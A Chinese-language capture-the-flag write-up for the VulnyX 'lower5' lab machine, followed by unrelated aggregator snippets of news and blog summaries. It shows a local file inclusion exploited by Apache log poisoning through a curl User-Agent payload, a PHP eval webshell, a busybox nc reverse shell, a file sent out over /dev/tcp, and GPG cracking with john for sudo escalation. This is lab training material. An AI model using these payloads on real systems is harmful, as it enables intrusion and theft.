vulnyx lower5 writeup

article/2025/6/22 11:50:04

信息搜集

arp-scan

目标IP为:192.168.43.177

nmap

发现开放了22和80端口

获取userFlag

有web服务,就先上去看一看

点击about后发现url变成了:

http://192.168.43.177/page.php?inc=about.html

这里很明显的就是一个利用点,根据页面表现可以判断这里至少是一个文件读取点,我们尝试读/etc/passwd 试试

能够成功读到,那么再试试page.php呢

这里就读不了,查看源码也没有多的东西。后续的思路是需要确定这里的文件读取就是一个普通的文件读取,还是说是通过文件包含实现的,所以刚才读page.php的目的也是这个,如果说结果是看到了php的源码那么就说明是一个普通的文件读取,而如果是被渲染了那么就说明是一个文件包含。

那么现在只能去尝试读以下日志文件了,该网站的web容器是apache,所用的linux发行版大概率是Debian,因此它的apache 日志文件的位置应该如下:

/var/log/apache2/access.log

 

可以看到成功读到了access.log,而且可以看到日志里记录了UA头的内容,所以这里大概率就是一个UA日志文件包含了,我们可以先验证一下。通过curl发一个包:

curl -I http://192.168.43.177 -H 'User-Agent: <?php phpinfo()?>'

然后刷新一下页面

果然,成功执行了。那接下来就先写个webshell吧,同样通过curl发包:

curl -I http://192.168.43.177 -H 'User-Agent: <?php file_put_contents("/var/www/html/shell.php","<?php eval($_REQUEST[1])?>")?>'

刷新后访问shell.php

webshell写入成功,接下来直接上蚁剑吧,毕竟图形化界面更直观些。

上来之后可以看到我们目前是不具备对/home/low的访问权限的,这也就意味着我们需要先想办法拿到low用户,所以为了便于之后的操作,先反弹个shell回来。

kali上通过nc监听:

nc -lvp 8888

靶机上通过busybox调用nc反弹:

busybox nc 192.168.43.180 8888 -e /bin/bash

成功建立连接后通过以下方式稳定shell:

# 在反弹 shell 中执行
script /dev/null -c bash  
# 按 Ctrl+Z 暂停
# 在 Kali 终端执行
stty raw -echo; fg  
# 按 Enter 恢复,然后继续在反弹 shell 中执行
reset xterm  
export TERM=xterm  
export SHELL=/bin/bash  
stty rows 40 columns 178     # 可选,调整大小

 这样就获得了一个比较稳定的shell了。之后就是找提权的点了,翻了一会目录后,最终的提权点在sudo上

这里可以看到我们可以low用户无密码的执行bash

这样就拿到userFlag了

userFlag:30a7b18992fef054ca6d904769fac413 

获取rootFlag 

刚才看/etc/passwd也看到了可以登录的普通用户只有low一个,所以接下来就是从low提权到root了,还是 sudo -l 看一下:

可以看到我们可以以root用户的身份无密码的执行一个pass命令, 问了下AI,加上--help看了下命令示例,可以大致了解这个东西是一个基于 GPG 加密的标准 Unix 密码管理器。而low的家目录下可以看到一个root.gpg文件。

这个我的理解就是它是一个密码存储的仓库,我们可通过pass读取其中存放了哪些条目:

这个的意思就是root用户有一个名为password的密码条目,我们可以读取一下:

sudo -u root pass show root/password

这里需要输入密码,但我们不知道,所以接下来的思路就是去爆破出这个密码,我们先把root.gpg拉到kali上去

kali执行:

nc -lvp 1234 > root.gpg

靶机上执行:

cat root.gpg > /dev/tcp/192.168.43.180/1234

这样就把它拉过来了,之后的话也可以通过md5sum看一下是不是同一个文件。然后就是通过gpg2john拿到文件的hash,然后给john跑

这里是因为我已经跑过了,所以直接show就行了

然后就能拿到root密码了,su登上去家目录里就能获取rootFlag了

rootFlag:008cdc7563e1d5afbcac3a241eba4db8


http://www.hkcw.cn/article/RoAKFLevRs.shtml

相关文章

哪吒汽车违反劳动保障条例被罚 拒不改正遭处罚

合众新能源汽车股份有限公司,即哪吒汽车关联公司,于5月23日新增两条行政处罚信息,处罚总金额为3.3万元,均由桐乡市人力资源和社会保障局执行。文书号分别为“桐人社罚决字 [2025] 第 000070 号”和“桐人社罚决字 [2025] 第 000071 号”。处罚事由显示,该公司在2025年3月2…

美国经济突传利空,美元指数直线跳水!美国财长最新发声 市场波动加剧

美国经济近期出现不利信号。美股三大指数盘初集体跳水,道指一度跌超1%。根据ISM公布的数据,美国5月ISM制造业活动连续四个月萎缩,进口分项指标创十六年新低。美媒分析认为,这反映了特朗普关税政策反复调整带来的广泛不确定性。受此影响,美元指数直线跳水,跌幅达0.8%,美元…

台积电2nm良率已达90% 市场需求强劲

台积电的2nm芯片制造工艺良率已超过90%,显示出其在先进技术方面的领先地位。在美国亚利利桑那州,台积电的工厂产能接近满负荷运行,订单源源不断,主要客户包括苹果、英伟达、高通、AMD和博通等美国科技巨头。台积电收到的2nm工艺芯片设计数量是5nm工艺的四倍,表明市场对2nm…

中国小电驴打破各国美梦 钠电池领先全球

中国在全球锂电池领域占据主导地位,一些国家试图减少对华依赖。分析人士认为,钠离子电池可能是其他国家减少对中国电池依赖的一条捷径,但数据显示,中国将在该领域再次领先世界。BBC注意到,通过电动两轮车(“小电驴”),钠电池已经在中国市场广泛应用。在杭州,数十辆造型…

家有两栋楼招亲男子辟谣 澄清加好友误解

家有两栋楼招亲男子辟谣 澄清加好友误解!5月31日,天河猎德村迎来一年一度的龙舟招景盛会,广州各地超过150条村前来猎德涌趁景。其中,一条龙舟上的“征婚启事”引起了广泛关注。视频中,一名男子脖子上挂着一张写有“两栋楼,海珠,未婚”的牌子。同日,该男子在社交平台上开…

RESTful APInahamcon Fuzzies-write-up

RESTful API 路径详解 RESTful API&#xff08;Representational State Transfer&#xff09;是一种 基于 HTTP 协议的 API 设计风格&#xff0c;它通过 URL 路径 和 HTTP 方法&#xff08;GET、POST、PUT、DELETE 等&#xff09;来定义资源的访问方式。它的核心思想是 将数据…

[ Qt ] | 与系统相关的操作(一):鼠标相关事件

目录 信号和事件的关系 (leaveEvent和enterEvent) 实现通过事件获取鼠标进入和鼠标离开 (mousePressEvent) 实现通过事件获得鼠标点击的位置 (mouseReleaseEvent) 前一个的基础上添加鼠标释放事件 (mouseDoubleClickEvent) 鼠标双击事件 鼠标移动事件 鼠标滚轮事件 …

(未解决)日历清单-扩展屏壁纸显示问题

需求&#xff1a;当前配有横屏和竖屏各一个&#xff0c;期望能用横屏显示日历清单中的自带壁纸&#xff0c;竖屏更换自己的壁纸&#xff1b; 问题&#xff1a;win11单独为竖屏显示器设置壁纸后&#xff0c;第二天日历清单会自动将桌面壁纸恢复为横屏的壁纸&#xff0c;猜测是由…

专业数据对比工具推荐

软件介绍 本文介绍一款专业的数据对比工具Beyond Compare。 软件安装 安装Beyond Compare非常简单&#xff0c;打开安装包后&#xff0c;只需点击"NEXT"即可完成安装。 软件功能概述 Beyond Compare是一款专业的数据对比软件&#xff0c;可以比较文件、文件夹和Ex…

LabVIEW轴角编码器自动检测

LabVIEW 开发轴角编码器自动检测系统&#xff0c;针对指控系统中高故障率的轴角编码器性能检测需求&#xff0c;通过模块化硬件架构与软件设计&#xff0c;实现编码器运转状态模拟、扭矩 / 转速实时监测、19 位并行编码采集译码、数据自动分析及报告生成等功能&#xff0c;解决…

恢复杯(月赛)

月赛的题目偏向思维&#xff0c;很有意思。 1.字符串 题目意思&#xff1a;给定一个字符串&#xff0c;判定好字符串的条件是&#xff0c;一个字母的大小写都在这个字符串里面。 思路&#xff1a;开两个数组&#xff0c;一个存放大写的某个字母是否出现&#xff0c;另一个存放…

第二十一章 格式化输出

第二十一章 格式化输出 本章仍然是文本相关的工具&#xff0c;重点放在格式文本输出而非更改文本本身的程序上。 命令如下&#xff1a; nl&#xff1a;对行进行编号。fold&#xff1a;在制定长度处折行。fmt&#xff1a;一个简单的文本格式化工具。pr&#xff1a;格式化要输…

印度一婚礼现场爆发斗殴 双方亲戚因换座要求大打出手

印度一婚礼现场爆发斗殴,双方亲戚因换座要求大打出手,女性也参与其中,椅子餐具齐飞。责任编辑:zx0002

女生包迷你小粽子和室友一起吃 口味自选白糖或老干妈

文理女生包迷你小粽子投喂室友,手捧随便抓,口味自选白糖或老干妈。责任编辑:zx0002

【笔记】在 Clang 工具链中降级 NumPy 到 2.2.4

&#x1f4dd; 在 Clang 工具链中降级 NumPy 到 2.2.4 ✅ 目标说明 在 MSYS2 的 Clang 工具链环境中&#xff0c;将 NumPy 从 2.2.6 成功降级到 2.2.4。 &#x1f9f0; 环境信息 项目内容操作系统Windows 11MSYS2 终端类型Clang64&#xff08;需手动启动&#xff09;Python 路…

基于STM32控制直流电机加减速正反转设计

基于STM32控制直流电机 &#xff08;仿真&#xff0b;程序&#xff0b;设计报告&#xff09; 功能介绍 具体功能&#xff1a; 1.L298N电机驱动&#xff1b; 2.按键可以控制正/反转&#xff0c;加/减速&#xff0c;停止&#xff1b; 3.LCD1602显示转速等级和正反转&#xff…

性能优化 - 案例篇:大对象的优化

文章目录 Pre1. 引言2. String 的 substring 方法内存泄漏案例2.1 JDK6 的实现与内存泄漏2.2 JDK7 的修复2.3 优化启示 3. 集合扩容的隐形成本3.1 StringBuilder 扩容机制3.2 ArrayList 扩容机制3.3 HashMap 扩容机制3.4 优化建议 4. 结构维度&#xff1a;优化大对象的粒度与存…

尹锡悦夫妇公开露面参加大选投票 完成投票未回应提问

韩国第21届总统选举于当地时间3日上午6时正式开始投票。据韩联社报道,当天上午,韩国前总统尹锡悦与夫人金建希在安保人员陪同下前往首尔瑞草区的一处投票站完成投票。投票结束后,面对记者关于“何时接受检方调查”、“如何看待因弹劾引发的提前大选”以及“为何拒绝配合调查…

专家:国际调解院不是和西方打擂台 60国代表齐聚香港

国际调解院不是和西方打擂台 60国代表齐聚香港!调解不再看西方脸色,60国代表齐聚香港。2025年,中国主导设立的“国际调解院”正式挂牌成立,总部设在香港的旧湾仔警署。来自亚洲、非洲、中东等60个国家的代表共同见证这一历史性时刻。印尼外长表示:“终于不用再花冤枉钱看欧…

中纪委发布5月反腐月报 97人被查41人被处分

6月2日下午,中纪委网站发布《反腐月报》显示,5月共有97人被查,41人被处分。在被查的97人中,包括7名中管干部。这些中管干部分别为:十四届全国政协常委、经济委员会副主任毕井泉,国家国防科技工业局原党组成员、副局长张建华,陕西省政协副主席刘宽忍,四川省政府党组成员…